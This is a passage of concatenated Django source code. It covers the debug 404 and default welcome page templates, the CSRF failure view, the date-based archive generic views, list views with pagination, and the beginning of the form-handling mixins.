  <div id="summary">
    <h1>Page not found <span>(404)</span></h1>
    <table class="meta">
      <tr>
        <th>Request Method:</th>
        <td>{{ request.META.REQUEST_METHOD }}</td>
      </tr>
      <tr>
        <th>Request URL:</th>
        <td>{{ request.build_absolute_uri|escape }}</td>
      </tr>
      {% if raising_view_name %}
      <tr>
        <th>Raised by:</th>
        <td>{{ raising_view_name }}</td>
      </tr>
      {% endif %}
    </table>
  </div>
  <div id="info">
    {% if urlpatterns %}
      <p>
      Using the URLconf defined in <code>{{ urlconf }}</code>,
      Django tried these URL patterns, in this order:
      </p>
      <ol>
        {% for pattern in urlpatterns %}
          <li>
            {% for pat in pattern %}
                {{ pat.regex.pattern }}
                {% if forloop.last and pat.name %}[name='{{ pat.name }}']{% endif %}
            {% endfor %}
          </li>
        {% endfor %}
      </ol>
      <p>The current URL, <code>{{ request_path|escape }}</code>, didn't match any of these.</p>
    {% else %}
      <p>{{ reason }}</p>
    {% endif %}
  </div>

  <div id="explanation">
    <p>
      You're seeing this error because you have <code>DEBUG = True</code> in
      your Django settings file. Change that to <code>False</code>, and Django
      will display a standard 404 page.
    </p>
  </div>
</body>
</html>
"""

DEFAULT_URLCONF_TEMPLATE = """
<!DOCTYPE html>
<html lang="en"><head>
  <meta http-equiv="content-type" content="text/html; charset=utf-8">
  <meta name="robots" content="NONE,NOARCHIVE"><title>{{ title }}</title>
  <style type="text/css">
    html * { padding:0; margin:0; }
    body * { padding:10px 20px; }
    body * * { padding:0; }
    body { font:small sans-serif; }
    body>div { border-bottom:1px solid #ddd; }
    h1 { font-weight:normal; }
    h2 { margin-bottom:.8em; }
    h2 span { font-size:80%; color:#666; font-weight:normal; }
    h3 { margin:1em 0 .5em 0; }
    h4 { margin:0 0 .5em 0; font-weight: normal; }
    table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }
    tbody td, tbody th { vertical-align:top; padding:2px 3px; }
    thead th {
      padding:1px 6px 1px 3px; background:#fefefe; text-align:left;
      font-weight:normal; font-size:11px; border:1px solid #ddd;
    }
    tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }
    #summary { background: #e0ebff; }
    #summary h2 { font-weight: normal; color: #666; }
    #explanation { background:#eee; }
    #instructions { background:#f6f6f6; }
    #summary table { border:none; background:transparent; }
  </style>
</head>

<body>
<div id="summary">
  <h1>{{ heading }}</h1>
  <h2>{{ subheading }}</h2>
</div>

<div id="instructions">
  <p>
    {{ instructions|safe }}
  </p>
</div>

<div id="explanation">
  <p>
    {{ explanation|safe }}
  </p>
</div>
</body></html>
"""






from django.conf import settings
from django.http import HttpResponseForbidden
from django.template import Context, Engine, TemplateDoesNotExist, loader
from django.utils.translation import ugettext as _
from django.utils.version import get_docs_version

# We include the template inline since we need to be able to reliably display
# this error message, especially for the sake of developers, and there isn't any
# other way of making it available independent of what is in the settings file.

# Only the text appearing with DEBUG=False is translated. Normal translation
# tags cannot be used with this inline templates as makemessages would not be
# able to discover the strings.

CSRF_FAILURE_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
  <meta http-equiv="content-type" content="text/html; charset=utf-8">
  <meta name="robots" content="NONE,NOARCHIVE">
  <title>403 Forbidden</title>
  <style type="text/css">
    html * { padding:0; margin:0; }
    body * { padding:10px 20px; }
    body * * { padding:0; }
    body { font:small sans-serif; background:#eee; }
    body>div { border-bottom:1px solid #ddd; }
    h1 { font-weight:normal; margin-bottom:.4em; }
    h1 span { font-size:60%; color:#666; font-weight:normal; }
    #info { background:#f6f6f6; }
    #info ul { margin: 0.5em 4em; }
    #info p, #summary p { padding-top:10px; }
    #summary { background: #ffc; }
    #explanation { background:#eee; border-bottom: 0px none; }
  </style>
</head>
<body>
<div id="summary">
  <h1>{{ title }} <span>(403)</span></h1>
  <p>{{ main }}</p>
{% if no_referer %}
  <p>{{ no_referer1 }}</p>
  <p>{{ no_referer2 }}</p>
{% endif %}
{% if no_cookie %}
  <p>{{ no_cookie1 }}</p>
  <p>{{ no_cookie2 }}</p>
{% endif %}
</div>
{% if DEBUG %}
<div id="info">
  <h2>Help</h2>
    {% if reason %}
    <p>Reason given for failure:</p>
    <pre>
    {{ reason }}
    </pre>
    {% endif %}

  <p>In general, this can occur when there is a genuine Cross Site Request Forgery, or when
  <a
  href="https://docs.djangoproject.com/en/{{ docs_version }}/ref/csrf/">Django's
  CSRF mechanism</a> has not been used correctly.  For POST forms, you need to
  ensure:</p>

  <ul>
    <li>Your browser is accepting cookies.</li>

    <li>The view function passes a <code>request</code> to the template's <a
    href="https://docs.djangoproject.com/en/dev/topics/templates/#django.template.backends.base.Template.render"><code>render</code></a>
    method.</li>

    <li>In the template, there is a <code>{% templatetag openblock %} csrf_token
    {% templatetag closeblock %}</code> template tag inside each POST form that
    targets an internal URL.</li>

    <li>If you are not using <code>CsrfViewMiddleware</code>, then you must use
    <code>csrf_protect</code> on any views that use the <code>csrf_token</code>
    template tag, as well as those that accept the POST data.</li>

    <li>The form has a valid CSRF token. After logging in in another browser
    tab or hitting the back button after a login, you may need to reload the
    page with the form, because the token is rotated after a login.</li>
  </ul>

  <p>You're seeing the help section of this page because you have <code>DEBUG =
  True</code> in your Django settings file. Change that to <code>False</code>,
  and only the initial error message will be displayed.  </p>

  <p>You can customize this page using the CSRF_FAILURE_VIEW setting.</p>
</div>
{% else %}
<div id="explanation">
  <p><small>{{ more }}</small></p>
</div>
{% endif %}
</body>
</html>
"""
CSRF_FAILURE_TEMPLATE_NAME = "403_csrf.html"


def csrf_failure(request, reason="", template_name=CSRF_FAILURE_TEMPLATE_NAME):
    """
    Default view used when request fails CSRF protection
    """
    from django.middleware.csrf import REASON_NO_REFERER, REASON_NO_CSRF_COOKIE
    c = Context({
        'title': _("Forbidden"),
        'main': _("CSRF verification failed. Request aborted."),
        'reason': reason,
        'no_referer': reason == REASON_NO_REFERER,
        'no_referer1': _(
            "You are seeing this message because this HTTPS site requires a "
            "'Referer header' to be sent by your Web browser, but none was "
            "sent. This header is required for security reasons, to ensure "
            "that your browser is not being hijacked by third parties."),
        'no_referer2': _(
            "If you have configured your browser to disable 'Referer' headers, "
            "please re-enable them, at least for this site, or for HTTPS "
            "connections, or for 'same-origin' requests."),
        'no_cookie': reason == REASON_NO_CSRF_COOKIE,
        'no_cookie1': _(
            "You are seeing this message because this site requires a CSRF "
            "cookie when submitting forms. This cookie is required for "
            "security reasons, to ensure that your browser is not being "
            "hijacked by third parties."),
        'no_cookie2': _(
            "If you have configured your browser to disable cookies, please "
            "re-enable them, at least for this site, or for 'same-origin' "
            "requests."),
        'DEBUG': settings.DEBUG,
        'docs_version': get_docs_version(),
        'more': _("More information is available with DEBUG=True."),
    })
    try:
        t = loader.get_template(template_name)
    except TemplateDoesNotExist:
        if template_name == CSRF_FAILURE_TEMPLATE_NAME:
            # If the default template doesn't exist, use the string template.
            t = Engine().from_string(CSRF_FAILURE_TEMPLATE)
        else:
            # Raise if a developer-specified template doesn't exist.
            raise
    return HttpResponseForbidden(t.render(c), content_type='text/html')






from __future__ import unicode_literals

import datetime

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.db import models
from django.http import Http404
from django.utils import timezone
from django.utils.encoding import force_str, force_text
from django.utils.functional import cached_property
from django.utils.translation import ugettext as _
from django.views.generic.base import View
from django.views.generic.detail import (
    BaseDetailView, SingleObjectTemplateResponseMixin,
)
from django.views.generic.list import (
    MultipleObjectMixin, MultipleObjectTemplateResponseMixin,
)


class YearMixin(object):
    """
    Mixin for views manipulating year-based data.
    """
    year_format = '%Y'
    year = None

    def get_year_format(self):
        """
        Get a year format string in strptime syntax to be used to parse the
        year from url variables.
        """
        return self.year_format

    def get_year(self):
        """
        Return the year for which this view should display data.
        """
        year = self.year
        if year is None:
            try:
                year = self.kwargs['year']
            except KeyError:
                try:
                    year = self.request.GET['year']
                except KeyError:
                    raise Http404(_("No year specified"))
        return year

    def get_next_year(self, date):
        """
        Get the next valid year.
        """
        return _get_next_prev(self, date, is_previous=False, period='year')

    def get_previous_year(self, date):
        """
        Get the previous valid year.
        """
        return _get_next_prev(self, date, is_previous=True, period='year')

    def _get_next_year(self, date):
        """
        Return the start date of the next interval.

        The interval is defined by start date <= item date < next start date.
        """
        return date.replace(year=date.year + 1, month=1, day=1)

    def _get_current_year(self, date):
        """
        Return the start date of the current interval.
        """
        return date.replace(month=1, day=1)


class MonthMixin(object):
    """
    Mixin for views manipulating month-based data.
    """
    month_format = '%b'
    month = None

    def get_month_format(self):
        """
        Get a month format string in strptime syntax to be used to parse the
        month from url variables.
        """
        return self.month_format

    def get_month(self):
        """
        Return the month for which this view should display data.
        """
        month = self.month
        if month is None:
            try:
                month = self.kwargs['month']
            except KeyError:
                try:
                    month = self.request.GET['month']
                except KeyError:
                    raise Http404(_("No month specified"))
        return month

    def get_next_month(self, date):
        """
        Get the next valid month.
        """
        return _get_next_prev(self, date, is_previous=False, period='month')

    def get_previous_month(self, date):
        """
        Get the previous valid month.
        """
        return _get_next_prev(self, date, is_previous=True, period='month')

    def _get_next_month(self, date):
        """
        Return the start date of the next interval.

        The interval is defined by start date <= item date < next start date.
        """
        if date.month == 12:
            return date.replace(year=date.year + 1, month=1, day=1)
        else:
            return date.replace(month=date.month + 1, day=1)

    def _get_current_month(self, date):
        """
        Return the start date of the previous interval.
        """
        return date.replace(day=1)


class DayMixin(object):
    """
    Mixin for views manipulating day-based data.
    """
    day_format = '%d'
    day = None

    def get_day_format(self):
        """
        Get a day format string in strptime syntax to be used to parse the day
        from url variables.
        """
        return self.day_format

    def get_day(self):
        """
        Return the day for which this view should display data.
        """
        day = self.day
        if day is None:
            try:
                day = self.kwargs['day']
            except KeyError:
                try:
                    day = self.request.GET['day']
                except KeyError:
                    raise Http404(_("No day specified"))
        return day

    def get_next_day(self, date):
        """
        Get the next valid day.
        """
        return _get_next_prev(self, date, is_previous=False, period='day')

    def get_previous_day(self, date):
        """
        Get the previous valid day.
        """
        return _get_next_prev(self, date, is_previous=True, period='day')

    def _get_next_day(self, date):
        """
        Return the start date of the next interval.

        The interval is defined by start date <= item date < next start date.
        """
        return date + datetime.timedelta(days=1)

    def _get_current_day(self, date):
        """
        Return the start date of the current interval.
        """
        return date


class WeekMixin(object):
    """
    Mixin for views manipulating week-based data.
    """
    week_format = '%U'
    week = None

    def get_week_format(self):
        """
        Get a week format string in strptime syntax to be used to parse the
        week from url variables.
        """
        return self.week_format

    def get_week(self):
        """
        Return the week for which this view should display data
        """
        week = self.week
        if week is None:
            try:
                week = self.kwargs['week']
            except KeyError:
                try:
                    week = self.request.GET['week']
                except KeyError:
                    raise Http404(_("No week specified"))
        return week

    def get_next_week(self, date):
        """
        Get the next valid week.
        """
        return _get_next_prev(self, date, is_previous=False, period='week')

    def get_previous_week(self, date):
        """
        Get the previous valid week.
        """
        return _get_next_prev(self, date, is_previous=True, period='week')

    def _get_next_week(self, date):
        """
        Return the start date of the next interval.

        The interval is defined by start date <= item date < next start date.
        """
        return date + datetime.timedelta(days=7 - self._get_weekday(date))

    def _get_current_week(self, date):
        """
        Return the start date of the current interval.
        """
        return date - datetime.timedelta(self._get_weekday(date))

    def _get_weekday(self, date):
        """
        Return the weekday for a given date.

        The first day according to the week format is 0 and the last day is 6.
        """
        week_format = self.get_week_format()
        if week_format == '%W':                 # week starts on Monday
            return date.weekday()
        elif week_format == '%U':               # week starts on Sunday
            return (date.weekday() + 1) % 7
        else:
            raise ValueError("unknown week format: %s" % week_format)


class DateMixin(object):
    """
    Mixin class for views manipulating date-based data.
    """
    date_field = None
    allow_future = False

    def get_date_field(self):
        """
        Get the name of the date field to be used to filter by.
        """
        if self.date_field is None:
            raise ImproperlyConfigured("%s.date_field is required." % self.__class__.__name__)
        return self.date_field

    def get_allow_future(self):
        """
        Returns `True` if the view should be allowed to display objects from
        the future.
        """
        return self.allow_future

    # Note: the following three methods only work in subclasses that also
    # inherit SingleObjectMixin or MultipleObjectMixin.

    @cached_property
    def uses_datetime_field(self):
        """
        Return `True` if the date field is a `DateTimeField` and `False`
        if it's a `DateField`.
        """
        model = self.get_queryset().model if self.model is None else self.model
        field = model._meta.get_field(self.get_date_field())
        return isinstance(field, models.DateTimeField)

    def _make_date_lookup_arg(self, value):
        """
        Convert a date into a datetime when the date field is a DateTimeField.

        When time zone support is enabled, `date` is assumed to be in the
        current time zone, so that displayed items are consistent with the URL.
        """
        if self.uses_datetime_field:
            value = datetime.datetime.combine(value, datetime.time.min)
            if settings.USE_TZ:
                value = timezone.make_aware(value, timezone.get_current_timezone())
        return value

    def _make_single_date_lookup(self, date):
        """
        Get the lookup kwargs for filtering on a single date.

        If the date field is a DateTimeField, we can't just filter on
        date_field=date because that doesn't take the time into account.
        """
        date_field = self.get_date_field()
        if self.uses_datetime_field:
            since = self._make_date_lookup_arg(date)
            until = self._make_date_lookup_arg(date + datetime.timedelta(days=1))
            return {
                '%s__gte' % date_field: since,
                '%s__lt' % date_field: until,
            }
        else:
            # Skip self._make_date_lookup_arg, it's a no-op in this branch.
            return {date_field: date}


class BaseDateListView(MultipleObjectMixin, DateMixin, View):
    """
    Abstract base class for date-based views displaying a list of objects.
    """
    allow_empty = False
    date_list_period = 'year'

    def get(self, request, *args, **kwargs):
        self.date_list, self.object_list, extra_context = self.get_dated_items()
        context = self.get_context_data(object_list=self.object_list,
                                        date_list=self.date_list)
        context.update(extra_context)
        return self.render_to_response(context)

    def get_dated_items(self):
        """
        Obtain the list of dates and items.
        """
        raise NotImplementedError('A DateView must provide an implementation of get_dated_items()')

    def get_ordering(self):
        """
        Returns the field or fields to use for ordering the queryset; uses the
        date field by default.
        """
        return '-%s' % self.get_date_field() if self.ordering is None else self.ordering

    def get_dated_queryset(self, **lookup):
        """
        Get a queryset properly filtered according to `allow_future` and any
        extra lookup kwargs.
        """
        qs = self.get_queryset().filter(**lookup)
        date_field = self.get_date_field()
        allow_future = self.get_allow_future()
        allow_empty = self.get_allow_empty()
        paginate_by = self.get_paginate_by(qs)

        if not allow_future:
            now = timezone.now() if self.uses_datetime_field else timezone_today()
            qs = qs.filter(**{'%s__lte' % date_field: now})

        if not allow_empty:
            # When pagination is enabled, it's better to do a cheap query
            # than to load the unpaginated queryset in memory.
            is_empty = len(qs) == 0 if paginate_by is None else not qs.exists()
            if is_empty:
                raise Http404(_("No %(verbose_name_plural)s available") % {
                    'verbose_name_plural': force_text(qs.model._meta.verbose_name_plural)
                })

        return qs

    def get_date_list_period(self):
        """
        Get the aggregation period for the list of dates: 'year', 'month', or 'day'.
        """
        return self.date_list_period

    def get_date_list(self, queryset, date_type=None, ordering='ASC'):
        """
        Get a date list by calling `queryset.dates/datetimes()`, checking
        along the way for empty lists that aren't allowed.
        """
        date_field = self.get_date_field()
        allow_empty = self.get_allow_empty()
        if date_type is None:
            date_type = self.get_date_list_period()

        if self.uses_datetime_field:
            date_list = queryset.datetimes(date_field, date_type, ordering)
        else:
            date_list = queryset.dates(date_field, date_type, ordering)
        if date_list is not None and not date_list and not allow_empty:
            name = force_text(queryset.model._meta.verbose_name_plural)
            raise Http404(_("No %(verbose_name_plural)s available") %
                          {'verbose_name_plural': name})

        return date_list


class BaseArchiveIndexView(BaseDateListView):
    """
    Base class for archives of date-based items.

    Requires a response mixin.
    """
    context_object_name = 'latest'

    def get_dated_items(self):
        """
        Return (date_list, items, extra_context) for this request.
        """
        qs = self.get_dated_queryset()
        date_list = self.get_date_list(qs, ordering='DESC')

        if not date_list:
            qs = qs.none()

        return (date_list, qs, {})


class ArchiveIndexView(MultipleObjectTemplateResponseMixin, BaseArchiveIndexView):
    """
    Top-level archive of date-based items.
    """
    template_name_suffix = '_archive'


class BaseYearArchiveView(YearMixin, BaseDateListView):
    """
    List of objects published in a given year.
    """
    date_list_period = 'month'
    make_object_list = False

    def get_dated_items(self):
        """
        Return (date_list, items, extra_context) for this request.
        """
        year = self.get_year()

        date_field = self.get_date_field()
        date = _date_from_string(year, self.get_year_format())

        since = self._make_date_lookup_arg(date)
        until = self._make_date_lookup_arg(self._get_next_year(date))
        lookup_kwargs = {
            '%s__gte' % date_field: since,
            '%s__lt' % date_field: until,
        }

        qs = self.get_dated_queryset(**lookup_kwargs)
        date_list = self.get_date_list(qs)

        if not self.get_make_object_list():
            # We need this to be a queryset since parent classes introspect it
            # to find information about the model.
            qs = qs.none()

        return (date_list, qs, {
            'year': date,
            'next_year': self.get_next_year(date),
            'previous_year': self.get_previous_year(date),
        })

    def get_make_object_list(self):
        """
        Return `True` if this view should contain the full list of objects in
        the given year.
        """
        return self.make_object_list


class YearArchiveView(MultipleObjectTemplateResponseMixin, BaseYearArchiveView):
    """
    List of objects published in a given year.
    """
    template_name_suffix = '_archive_year'


class BaseMonthArchiveView(YearMixin, MonthMixin, BaseDateListView):
    """
    List of objects published in a given month.
    """
    date_list_period = 'day'

    def get_dated_items(self):
        """
        Return (date_list, items, extra_context) for this request.
        """
        year = self.get_year()
        month = self.get_month()

        date_field = self.get_date_field()
        date = _date_from_string(year, self.get_year_format(),
                                 month, self.get_month_format())

        since = self._make_date_lookup_arg(date)
        until = self._make_date_lookup_arg(self._get_next_month(date))
        lookup_kwargs = {
            '%s__gte' % date_field: since,
            '%s__lt' % date_field: until,
        }

        qs = self.get_dated_queryset(**lookup_kwargs)
        date_list = self.get_date_list(qs)

        return (date_list, qs, {
            'month': date,
            'next_month': self.get_next_month(date),
            'previous_month': self.get_previous_month(date),
        })


class MonthArchiveView(MultipleObjectTemplateResponseMixin, BaseMonthArchiveView):
    """
    List of objects published in a given month.
    """
    template_name_suffix = '_archive_month'


class BaseWeekArchiveView(YearMixin, WeekMixin, BaseDateListView):
    """
    List of objects published in a given week.
    """

    def get_dated_items(self):
        """
        Return (date_list, items, extra_context) for this request.
        """
        year = self.get_year()
        week = self.get_week()

        date_field = self.get_date_field()
        week_format = self.get_week_format()
        week_start = {
            '%W': '1',
            '%U': '0',
        }[week_format]
        date = _date_from_string(year, self.get_year_format(),
                                 week_start, '%w',
                                 week, week_format)

        since = self._make_date_lookup_arg(date)
        until = self._make_date_lookup_arg(self._get_next_week(date))
        lookup_kwargs = {
            '%s__gte' % date_field: since,
            '%s__lt' % date_field: until,
        }

        qs = self.get_dated_queryset(**lookup_kwargs)

        return (None, qs, {
            'week': date,
            'next_week': self.get_next_week(date),
            'previous_week': self.get_previous_week(date),
        })


class WeekArchiveView(MultipleObjectTemplateResponseMixin, BaseWeekArchiveView):
    """
    List of objects published in a given week.
    """
    template_name_suffix = '_archive_week'


class BaseDayArchiveView(YearMixin, MonthMixin, DayMixin, BaseDateListView):
    """
    List of objects published on a given day.
    """
    def get_dated_items(self):
        """
        Return (date_list, items, extra_context) for this request.
        """
        year = self.get_year()
        month = self.get_month()
        day = self.get_day()

        date = _date_from_string(year, self.get_year_format(),
                                 month, self.get_month_format(),
                                 day, self.get_day_format())

        return self._get_dated_items(date)

    def _get_dated_items(self, date):
        """
        Do the actual heavy lifting of getting the dated items; this accepts a
        date object so that TodayArchiveView can be trivial.
        """
        lookup_kwargs = self._make_single_date_lookup(date)
        qs = self.get_dated_queryset(**lookup_kwargs)

        return (None, qs, {
            'day': date,
            'previous_day': self.get_previous_day(date),
            'next_day': self.get_next_day(date),
            'previous_month': self.get_previous_month(date),
            'next_month': self.get_next_month(date)
        })


class DayArchiveView(MultipleObjectTemplateResponseMixin, BaseDayArchiveView):
    """
    List of objects published on a given day.
    """
    template_name_suffix = "_archive_day"


class BaseTodayArchiveView(BaseDayArchiveView):
    """
    List of objects published today.
    """

    def get_dated_items(self):
        """
        Return (date_list, items, extra_context) for this request.
        """
        return self._get_dated_items(datetime.date.today())


class TodayArchiveView(MultipleObjectTemplateResponseMixin, BaseTodayArchiveView):
    """
    List of objects published today.
    """
    template_name_suffix = "_archive_day"


class BaseDateDetailView(YearMixin, MonthMixin, DayMixin, DateMixin, BaseDetailView):
    """
    Detail view of a single object on a single date; this differs from the
    standard DetailView by accepting a year/month/day in the URL.
    """
    def get_object(self, queryset=None):
        """
        Get the object this request displays.
        """
        year = self.get_year()
        month = self.get_month()
        day = self.get_day()
        date = _date_from_string(year, self.get_year_format(),
                                 month, self.get_month_format(),
                                 day, self.get_day_format())

        # Use a custom queryset if provided
        qs = self.get_queryset() if queryset is None else queryset

        if not self.get_allow_future() and date > datetime.date.today():
            raise Http404(_(
                "Future %(verbose_name_plural)s not available because "
                "%(class_name)s.allow_future is False."
            ) % {
                'verbose_name_plural': qs.model._meta.verbose_name_plural,
                'class_name': self.__class__.__name__,
            })

        # Filter down a queryset from self.queryset using the date from the
        # URL. This'll get passed as the queryset to DetailView.get_object,
        # which'll handle the 404
        lookup_kwargs = self._make_single_date_lookup(date)
        qs = qs.filter(**lookup_kwargs)

        return super(BaseDetailView, self).get_object(queryset=qs)


class DateDetailView(SingleObjectTemplateResponseMixin, BaseDateDetailView):
    """
    Detail view of a single object on a single date; this differs from the
    standard DetailView by accepting a year/month/day in the URL.
    """
    template_name_suffix = '_detail'


def _date_from_string(year, year_format, month='', month_format='', day='', day_format='', delim='__'):
    """
    Helper: get a datetime.date object given a format string and a year,
    month, and day (only year is mandatory). Raise a 404 for an invalid date.
    """
    format = delim.join((year_format, month_format, day_format))
    datestr = delim.join((year, month, day))
    try:
        return datetime.datetime.strptime(force_str(datestr), format).date()
    except ValueError:
        raise Http404(_("Invalid date string '%(datestr)s' given format '%(format)s'") % {
            'datestr': datestr,
            'format': format,
        })


def _get_next_prev(generic_view, date, is_previous, period):
    """
    Helper: Get the next or the previous valid date. The idea is to allow
    links on month/day views to never be 404s by never providing a date
    that'll be invalid for the given view.

    This is a bit complicated since it handles different intervals of time,
    hence the coupling to generic_view.

    However in essence the logic comes down to:

        * If allow_empty and allow_future are both true, this is easy: just
          return the naive result (just the next/previous day/week/month,
          regardless of object existence.)

        * If allow_empty is true, allow_future is false, and the naive result
          isn't in the future, then return it; otherwise return None.

        * If allow_empty is false and allow_future is true, return the next
          date *that contains a valid object*, even if it's in the future. If
          there are no next objects, return None.

        * If allow_empty is false and allow_future is false, return the next
          date that contains a valid object. If that date is in the future, or
          if there are no next objects, return None.
    """
    date_field = generic_view.get_date_field()
    allow_empty = generic_view.get_allow_empty()
    allow_future = generic_view.get_allow_future()

    get_current = getattr(generic_view, '_get_current_%s' % period)
    get_next = getattr(generic_view, '_get_next_%s' % period)

    # Bounds of the current interval
    start, end = get_current(date), get_next(date)

    # If allow_empty is True, the naive result will be valid
    if allow_empty:
        if is_previous:
            result = get_current(start - datetime.timedelta(days=1))
        else:
            result = end

        if allow_future or result <= timezone_today():
            return result
        else:
            return None

    # Otherwise, we'll need to go to the database to look for an object
    # whose date_field is at least (greater than/less than) the given
    # naive result
    else:
        # Construct a lookup and an ordering depending on whether we're doing
        # a previous date or a next date lookup.
        if is_previous:
            lookup = {'%s__lt' % date_field: generic_view._make_date_lookup_arg(start)}
            ordering = '-%s' % date_field
        else:
            lookup = {'%s__gte' % date_field: generic_view._make_date_lookup_arg(end)}
            ordering = date_field

        # Filter out objects in the future if appropriate.
        if not allow_future:
            # Fortunately, to match the implementation of allow_future,
            # we need __lte, which doesn't conflict with __lt above.
            if generic_view.uses_datetime_field:
                now = timezone.now()
            else:
                now = timezone_today()
            lookup['%s__lte' % date_field] = now

        qs = generic_view.get_queryset().filter(**lookup).order_by(ordering)

        # Snag the first object from the queryset; if it doesn't exist that
        # means there's no next/previous link available.
        try:
            result = getattr(qs[0], date_field)
        except IndexError:
            return None

        # Convert datetimes to dates in the current time zone.
        if generic_view.uses_datetime_field:
            if settings.USE_TZ:
                result = timezone.localtime(result)
            result = result.date()

        # Return the first day of the period.
        return get_current(result)


def timezone_today():
    """
    Return the current date in the current time zone.
    """
    if settings.USE_TZ:
        return timezone.localtime(timezone.now()).date()
    else:
        return datetime.date.today()






from __future__ import unicode_literals

from django.core.exceptions import ImproperlyConfigured
from django.core.paginator import InvalidPage, Paginator
from django.db.models.query import QuerySet
from django.http import Http404
from django.utils import six
from django.utils.translation import ugettext as _
from django.views.generic.base import ContextMixin, TemplateResponseMixin, View


class MultipleObjectMixin(ContextMixin):
    """
    A mixin for views manipulating multiple objects.
    """
    allow_empty = True
    queryset = None
    model = None
    paginate_by = None
    paginate_orphans = 0
    context_object_name = None
    paginator_class = Paginator
    page_kwarg = 'page'
    ordering = None

    def get_queryset(self):
        """
        Return the list of items for this view.

        The return value must be an iterable and may be an instance of
        `QuerySet` in which case `QuerySet` specific behavior will be enabled.
        """
        if self.queryset is not None:
            queryset = self.queryset
            if isinstance(queryset, QuerySet):
                queryset = queryset.all()
        elif self.model is not None:
            queryset = self.model._default_manager.all()
        else:
            raise ImproperlyConfigured(
                "%(cls)s is missing a QuerySet. Define "
                "%(cls)s.model, %(cls)s.queryset, or override "
                "%(cls)s.get_queryset()." % {
                    'cls': self.__class__.__name__
                }
            )
        ordering = self.get_ordering()
        if ordering:
            if isinstance(ordering, six.string_types):
                ordering = (ordering,)
            queryset = queryset.order_by(*ordering)

        return queryset

    def get_ordering(self):
        """
        Return the field or fields to use for ordering the queryset.
        """
        return self.ordering

    def paginate_queryset(self, queryset, page_size):
        """
        Paginate the queryset, if needed.
        """
        paginator = self.get_paginator(
            queryset, page_size, orphans=self.get_paginate_orphans(),
            allow_empty_first_page=self.get_allow_empty())
        page_kwarg = self.page_kwarg
        page = self.kwargs.get(page_kwarg) or self.request.GET.get(page_kwarg) or 1
        try:
            page_number = int(page)
        except ValueError:
            if page == 'last':
                page_number = paginator.num_pages
            else:
                raise Http404(_("Page is not 'last', nor can it be converted to an int."))
        try:
            page = paginator.page(page_number)
            return (paginator, page, page.object_list, page.has_other_pages())
        except InvalidPage as e:
            raise Http404(_('Invalid page (%(page_number)s): %(message)s') % {
                'page_number': page_number,
                'message': str(e)
            })

    def get_paginate_by(self, queryset):
        """
        Get the number of items to paginate by, or ``None`` for no pagination.
        """
        return self.paginate_by

    def get_paginator(self, queryset, per_page, orphans=0,
                      allow_empty_first_page=True, **kwargs):
        """
        Return an instance of the paginator for this view.
        """
        return self.paginator_class(
            queryset, per_page, orphans=orphans,
            allow_empty_first_page=allow_empty_first_page, **kwargs)

    def get_paginate_orphans(self):
        """
        Returns the maximum number of orphans extend the last page by when
        paginating.
        """
        return self.paginate_orphans

    def get_allow_empty(self):
        """
        Returns ``True`` if the view should display empty lists, and ``False``
        if a 404 should be raised instead.
        """
        return self.allow_empty

    def get_context_object_name(self, object_list):
        """
        Get the name of the item to be used in the context.
        """
        if self.context_object_name:
            return self.context_object_name
        elif hasattr(object_list, 'model'):
            return '%s_list' % object_list.model._meta.model_name
        else:
            return None

    def get_context_data(self, **kwargs):
        """
        Get the context for this view.
        """
        queryset = kwargs.pop('object_list', self.object_list)
        page_size = self.get_paginate_by(queryset)
        context_object_name = self.get_context_object_name(queryset)
        if page_size:
            paginator, page, queryset, is_paginated = self.paginate_queryset(queryset, page_size)
            context = {
                'paginator': paginator,
                'page_obj': page,
                'is_paginated': is_paginated,
                'object_list': queryset
            }
        else:
            context = {
                'paginator': None,
                'page_obj': None,
                'is_paginated': False,
                'object_list': queryset
            }
        if context_object_name is not None:
            context[context_object_name] = queryset
        context.update(kwargs)
        return super(MultipleObjectMixin, self).get_context_data(**context)


class BaseListView(MultipleObjectMixin, View):
    """
    A base view for displaying a list of objects.
    """
    def get(self, request, *args, **kwargs):
        self.object_list = self.get_queryset()
        allow_empty = self.get_allow_empty()

        if not allow_empty:
            # When pagination is enabled and object_list is a queryset,
            # it's better to do a cheap query than to load the unpaginated
            # queryset in memory.
            if self.get_paginate_by(self.object_list) is not None and hasattr(self.object_list, 'exists'):
                is_empty = not self.object_list.exists()
            else:
                is_empty = len(self.object_list) == 0
            if is_empty:
                raise Http404(_("Empty list and '%(class_name)s.allow_empty' is False.") % {
                    'class_name': self.__class__.__name__,
                })
        context = self.get_context_data()
        return self.render_to_response(context)


class MultipleObjectTemplateResponseMixin(TemplateResponseMixin):
    """
    Mixin for responding with a template and list of objects.
    """
    template_name_suffix = '_list'

    def get_template_names(self):
        """
        Return a list of template names to be used for the request. Must return
        a list. May not be called if render_to_response is overridden.
        """
        try:
            names = super(MultipleObjectTemplateResponseMixin, self).get_template_names()
        except ImproperlyConfigured:
            # If template_name isn't specified, it's not a problem --
            # we just start with an empty list.
            names = []

        # If the list is a queryset, we'll invent a template name based on the
        # app and model name. This name gets put at the end of the template
        # name list so that user-supplied names override the automatically-
        # generated ones.
        if hasattr(self.object_list, 'model'):
            opts = self.object_list.model._meta
            names.append("%s/%s%s.html" % (opts.app_label, opts.model_name, self.template_name_suffix))

        return names


class ListView(MultipleObjectTemplateResponseMixin, BaseListView):
    """
    Render some list of objects, set by `self.model` or `self.queryset`.
    `self.queryset` can actually be any iterable of items, not just a queryset.
    """






from django.core.exceptions import ImproperlyConfigured
from django.forms import models as model_forms
from django.http import HttpResponseRedirect
from django.utils.encoding import force_text
from django.views.generic.base import ContextMixin, TemplateResponseMixin, View
from django.views.generic.detail import (
    BaseDetailView, SingleObjectMixin, SingleObjectTemplateResponseMixin,
)


class FormMixin(ContextMixin):
    """
    A mixin that provides a way to show and handle a form in a request.
    """

    initial = {}
    form_class = None
    success_url = None
    prefix = None

    def get_initial(self):
        """
        Returns the initial data to use for forms on this view.
        """
        return self.initial.copy()

    def get_prefix(self):
        """
        Returns the prefix to use for forms on this view
        """
        return self.prefix

    def get_form_class(self):
        """
        Returns the form class to use in this view
        """
        return self.form_class

    def get_form(self, form_class=None):
        """
        Returns an instance of the form to be used in this view.
        """
        if form_class is None:
            form_class = self.get_form_class()
        return form_class(**self.get_form_kwargs())

    def get_form_kwargs(self):
        """
        Returns the keyword arguments for instantiating the form.
        """
        kwargs = {
            'initial': self.get_initial(),
